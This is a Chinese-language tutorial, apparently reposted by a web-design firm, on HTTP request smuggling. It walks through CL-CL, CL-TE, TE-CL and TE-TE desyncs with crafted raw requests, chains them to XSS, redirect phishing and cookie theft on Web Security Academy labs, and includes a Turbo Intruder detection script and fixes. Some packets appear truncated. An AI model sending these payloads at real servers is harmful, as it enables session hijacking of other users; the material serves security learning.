怎么淺析HTTP走私攻擊，針對這個問題，這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答，希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

創(chuàng)新互聯(lián)專注于網(wǎng)站建設(shè)，為客戶提供成都網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計開發(fā)服務(wù)，多年建網(wǎng)站服務(wù)經(jīng)驗，各類網(wǎng)站都可以開發(fā)，高端網(wǎng)站設(shè)計，公司官網(wǎng)，公司展示網(wǎng)站，網(wǎng)站設(shè)計，建網(wǎng)站費用，建網(wǎng)站多少錢，價格優(yōu)惠，收費合理。

　1.什么是HTTP請求走私

　在復(fù)雜的網(wǎng)絡(luò)環(huán)境下，不同的服務(wù)器以不同的方式實現(xiàn)RFC標(biāo)準(zhǔn)，利用前后端服務(wù)器對數(shù)據(jù)包的邊界了解不一致的情況下，向一個請求數(shù)據(jù)包中插入下一個請求數(shù)據(jù)包的一部分，在前端服務(wù)器角度看來，它屬于一個完整的請求，而在后端服務(wù)器看來，它屬于兩次請求，前端請求的一部分被后端服務(wù)器解釋為下一個請求的開始。因此，它使攻擊者可以繞過安全控制，未經(jīng)授權(quán)訪問敏感數(shù)據(jù)并直接危害其他應(yīng)用程序用戶。

　　2.產(chǎn)生的原因

　在HTTP1.1后，增加了一個特殊的請求頭Connection: Keep-Alive，建立tcp持續(xù)通道，進(jìn)行一次tcp握手，就能傳送多個請求。但這樣子只能是請求一次響應(yīng)一次。為了提高數(shù)據(jù)傳輸?shù)男剩瑴p少阻塞。后來就有了HTTP Pipelining(管線化)字段，它是將多個http請求批量提交,而不用等收到響應(yīng)再提交的異步技術(shù)。如下圖就是使用Pipelining和非Pipelining

　這意味著前端與后端必須短時間內(nèi)對每個數(shù)據(jù)包的邊界大小達(dá)成一致，否則，攻擊者就可以構(gòu)造發(fā)送一個特殊的數(shù)據(jù)包，在前端看來它是一個請求，但在后端卻被解釋為了兩個不同的HTTP請求。這就導(dǎo)致攻擊者可以在下一個用戶發(fā)送的合法數(shù)據(jù)包前惡意添加內(nèi)容。如圖，走私的內(nèi)容("前綴")，以橙色突出顯示：

　假設(shè)前端考慮的是內(nèi)容長度頭部(Content-Length)值作為數(shù)據(jù)包結(jié)束的邊界，后端優(yōu)先考慮的是Transfer-Encoding頭部。那么從后端角度看，如下圖藍(lán)色部份字體屬于一個數(shù)據(jù)包，而紅色部份字體屬于下一個數(shù)據(jù)包的開始部份。這樣就成功從前端“走私”了一個數(shù)據(jù)包。

　3.攻擊類別

　　3.1.CL不為0的GET請求

　假設(shè)前端代理服務(wù)器允許GET請求攜帶請求體，而后端服務(wù)器不允許GET請求攜帶請求體，它會直接忽略掉GET請求中的 Content-Length頭，不進(jìn)行處理。這就有可能導(dǎo)致請求走私。

　比如發(fā)送下面請求

　GET / HTTP/1.1

　Host:example.com

　Content-Length:44

　GET /socket HTTP/1.1

　Host: example.com

　前端服務(wù)器通過讀取Content-Length，確認(rèn)這是個完整的請求，然后轉(zhuǎn)發(fā)到后端服務(wù)器，而后端服務(wù)器因為不對Content-Length進(jìn)行判斷，由于Pipeline的存在，它認(rèn)為這是兩個請求，分別為

　第一個

　GET / HTTP/1.1

　Host: example.com

　第二個

　GET /socket HTTP/1.1

　Host: example.com

　則相當(dāng)于走私了請求

　　3.2 CL-CL

　在RFC7230規(guī)范中，規(guī)定當(dāng)服務(wù)器收到的請求中包含兩個 Content-Length，而且兩者的值不同時，需要返回400錯誤。但難免會有服務(wù)器不嚴(yán)格遵守該規(guī)范。假設(shè)前端和后端服務(wù)器都收到該類請求，且不報錯，其中前端服務(wù)器按照第一個Content-Length的值對請求進(jìn)行為數(shù)據(jù)包定界，而后端服務(wù)器則按照第二個Content-Length的值進(jìn)行處理。

　這時攻擊者可以惡意構(gòu)造一個特殊的請求，

　POST / HTTP/1.1

　Host: example.com

　Content-Length: 6

　Content-Length: 5

　123

　A

　cdn服務(wù)器獲取到的數(shù)據(jù)包的長度6，將上述整個數(shù)據(jù)包轉(zhuǎn)發(fā)給后端的服務(wù)器，而后端服務(wù)器獲取到的數(shù)據(jù)包長度為5。當(dāng)讀取完前5個字符后，后端服務(wù)器認(rèn)為該請求已經(jīng)讀取完畢，然后發(fā)送出去。而此時的緩沖區(qū)去還剩余一個字母 A，對于后端服務(wù)器來說，這個 A是下一個請求的一部分，但是還沒有傳輸完畢。此時恰巧有一個其他的正常用戶對服務(wù)器進(jìn)行了請求，則該A字母會拼湊到下一個正常用戶請求的前面，攻擊在此展開。

　　3.3 CL-TE

　所謂CL-TE，顧名思義就是收到包含Content-Length和Transfer-Encoding這兩個請求頭d的請求時，前端代理服務(wù)器按照Content-Length這一請求頭定界，而后端服務(wù)器則以Transfer-Encoding請求頭為標(biāo)準(zhǔn)。

　構(gòu)造數(shù)據(jù)包

　POST / HTTP/1.1

　Host: example.com

　Content-Length: 16

　Transfer-Encoding: chunked

　0

　chunkedcode

　前端服務(wù)器處理Content-Length頭并確定請求主體長度為16個字節(jié)，直到chunkedcode結(jié)束。此請求將轉(zhuǎn)發(fā)到后端服務(wù)器。

　后端服務(wù)器處理Transfer-Encoding標(biāo)頭，因此將消息體視為使用分塊編碼。它處理第一個塊，它被稱為零長度，因此被視為終止請求。緩沖區(qū)內(nèi)還剩下chunkedcode，由于存在pipeline技術(shù)，后端服務(wù)器將這些字節(jié)視為隊列中下一個請求的開始。

　在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。

       注意：需要發(fā)送兩次請求

　　3.4 TE-CL

　這種情況則屬于前端服務(wù)器處理Transfer-Encoding請求頭，而后端服務(wù)器處理Content-Length請求頭。

　構(gòu)造數(shù)據(jù)包

　Host:example.com

　Content-Length: 3

　Transfer-Encoding: chunked

　chunkedcode

　0

　注意0后面加兩個\r

　前端服務(wù)器處理Transfer-Encoding請求頭，因此將消息體視為使用分塊編碼，處理第一塊時，有11個字節(jié)，直到chunkedcodede的最后一個字節(jié)。開始處理第二個塊，第二塊是0個字節(jié)，視為終止請求。此時把請求轉(zhuǎn)發(fā)到后端。而后端則在11處完成了對第一個數(shù)據(jù)包的讀取，chunkedcode\r\n0為下一個數(shù)據(jù)包的開始部份

　在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。

       注意：需要發(fā)送兩次請求

　3.5 TE-TE

　前端服務(wù)器處理第一個Transfer-Encoding請求頭，后端服務(wù)器處理第二個Transfer-Encoding請求頭。

　構(gòu)造數(shù)據(jù)包

　Host:example.com

　Content-length: 3

　Transfer-Encoding: chunked

　Transfer-encoding: error

　chunkedcode

　0

　這里是用了兩個Transfer-Encoding 字段，并且第二個 TE 字段值為錯誤值，這里 前端服務(wù)器選擇對第一個 Transfer-Encoding進(jìn)行處理，整個請求正常，原封不動轉(zhuǎn)發(fā)給后端服務(wù)器，而后端服務(wù)器則以第二個Transfer-Encoding 字段進(jìn)行優(yōu)先處理，而第二個Transfer-Encoding 字段非標(biāo)準(zhǔn)值，根據(jù)RPC規(guī)范，則會取Content-Length字段進(jìn)行處理，這樣這個請求就會被拆分為兩個請求。

　在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。

       注意：需要發(fā)送兩次請求

　　4.攻擊擴(kuò)展

　　4.1.smuggling+reflected xss

　單純的UA處的xss并沒有什么危害，但可以結(jié)合請求走私攻擊進(jìn)行利用來提升危害

　我們可以構(gòu)造以下數(shù)據(jù)包，只要發(fā)送一次

　POST / HTTP/1.1

　Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net

　Connection: close

　Cache-Control: max-age=0

　Upgrade-Insecure-Requests: 1

　User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

　Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8

　Accept-Encoding: gzip, deflate

　Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

　Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8

　Content-Type: application/x-www-form-urlencoded

　Content-Length: 150

　Transfer-Encoding: chunked

　0

　GET /post?postId=3 HTTP/1.1

　User-Agent: ">

　Content-Type: application/x-www-form-urlencoded

　Content-Length: 5

　x=1

　會在該網(wǎng)站的任意頁面觸發(fā)xss，因為在http序列中，走私的請求會插到用戶對網(wǎng)站的請求前面

　4.2 direct+smuggling

　該場景基于url跳轉(zhuǎn),把用戶重定向到一個固定網(wǎng)頁，lab為我們提供個跳轉(zhuǎn)api,/post/next?postId=3路由跳轉(zhuǎn)到的是/post?postId=4。

　此時我們可以利用走私攻擊并配合重定向進(jìn)行釣魚。

　發(fā)送以下數(shù)據(jù)包一次：

　POST / HTTP/1.1

　Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

　Connection: close

　Cache-Control: max-age=0

　Upgrade-Insecure-Requests: 1

　User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

　Sec-Fetch-Dest: document

　Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

　Sec-Fetch-Site: none

　Sec-Fetch-Mode: navigate

　Sec-Fetch-User: ?1

　Accept-Encoding: gzip, deflate

　Accept-Language: zh-CN,zh;q=0.9

　Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ

　Content-Type: application/x-www-form-urlencoded

　Content-Length: 178

　Transfer-Encoding: chunked

　0

　GET /post/next?postId=3 HTTP/1.1

　Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

　Content-Type: application/x-www-form-urlencoded

　Content-Length: 10

　x=1

　然后訪問原網(wǎng)站任意頁面，都會被重定向到/post?postId=4

　　4.3竊取用戶請求

　利用走私攻擊捕捉用戶請求數(shù)據(jù)包，竊取cookie

　我們在發(fā)送評論處的api接口構(gòu)造請求包如下

　發(fā)送以下數(shù)據(jù)包

　POST / HTTP/1.1

　Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

　Connection: close

　Upgrade-Insecure-Requests: 1

　User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

　Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8

　Accept-Encoding: gzip, deflate

　Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

　Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

　Content-Type: application/x-www-form-urlencoded

　Content-Length: 343

　Transfer-Encoding: chunked

　0

　POST /post/comment HTTP/1.1

　Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

　Content-Length: 600

　Content-Type: application/x-www-form-urlencoded

　Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

　csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2F

　成功把用戶的請求拼接到走私請求的comment參數(shù)上，如下圖

　5.案例

　該案例利用的是CL-TE的攻擊方式。根據(jù)RFC，當(dāng)Content-Length和Transfer-Encoding兩個標(biāo)頭同時出現(xiàn)在同一請求包時，Transfer-Encoding始終被優(yōu)先處理。但是，如果Transfer-Encoding標(biāo)頭格式錯誤，則前端服務(wù)器和后端服務(wù)器之間的對請求的解釋可能會有所不同。在該站點上發(fā)現(xiàn)的CLTE問題是，在請求包中Transfer-Encoding 和:之間加多一個空格，使該字段的格式為非標(biāo)準(zhǔn)值，此時前端服務(wù)器依據(jù)RPC規(guī)范，優(yōu)先處理Content-Length，而后端服務(wù)器并沒嚴(yán)格遵守RPC規(guī)范，以Transfer-Encoding為依據(jù)進(jìn)行處理數(shù)據(jù)包。

　惡意請求的說明：

　可見用戶的正常請求被拼接到X字段，而X請求頭非標(biāo)準(zhǔn)請求頭，故忽略，而該用戶的cookie字段也被拼接到了該走私的請求上

　在Burp Collaborator Client上能成功竊取到用戶的cookie

　6.測試工具

　在burpsuite上查找到請求包，右鍵lauch smuggle probe，隨后在burpsuite的掃描結(jié)果上顯示報告

　進(jìn)一步確定漏洞

　右鍵點擊"smuggle attack(CL.TE)"

　出現(xiàn)Turbo Intruder腳本

　# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time

　def queueRequests(target, wordlists):

　# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP

　engine = RequestEngine(endpoint=target.endpoint,

　concurrentConnections=5,

　requestsPerConnection=1,

　resumeSSL=False,

　timeout=10,

　pipeline=False,

　maxRetriesPerRequest=0,

　engine=Engine.THREADED,

　# This will prefix the victim's request. Edit it to achieve the desired effect.

　prefix = '''GET /hopefully404 HTTP/1.1

　X-Ignore: X''' //走私一個uri為/hopefully404的請求包，下一個用戶的請求會拼接到X-Ignore字段后面，因此要是存在走私漏洞，則會返回一個狀態(tài)碼為404的數(shù)據(jù)包

　# The request engine will auto-fix the content-length for us

　attack = target.req + prefix

　engine.queue(attack)

　victim = target.req

　for i in range(14):

　engine.queue(victim)

　time.sleep(0.05)

　def handleResponse(req, interesting):

　table.add(req)

　點擊"attack"進(jìn)行爆破測試

看到存在404狀態(tài)碼的數(shù)據(jù)包，說明存在http走私漏洞

　　修復(fù)方案：

　1、前端服務(wù)器對前段輸入規(guī)范化

　2、前端服務(wù)器使用HTTP2.0

　3、后端服務(wù)器丟棄非正常請求

關(guān)于怎么淺析HTTP走私攻擊問題的解答就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，如果你還有很多疑惑沒有解開，可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。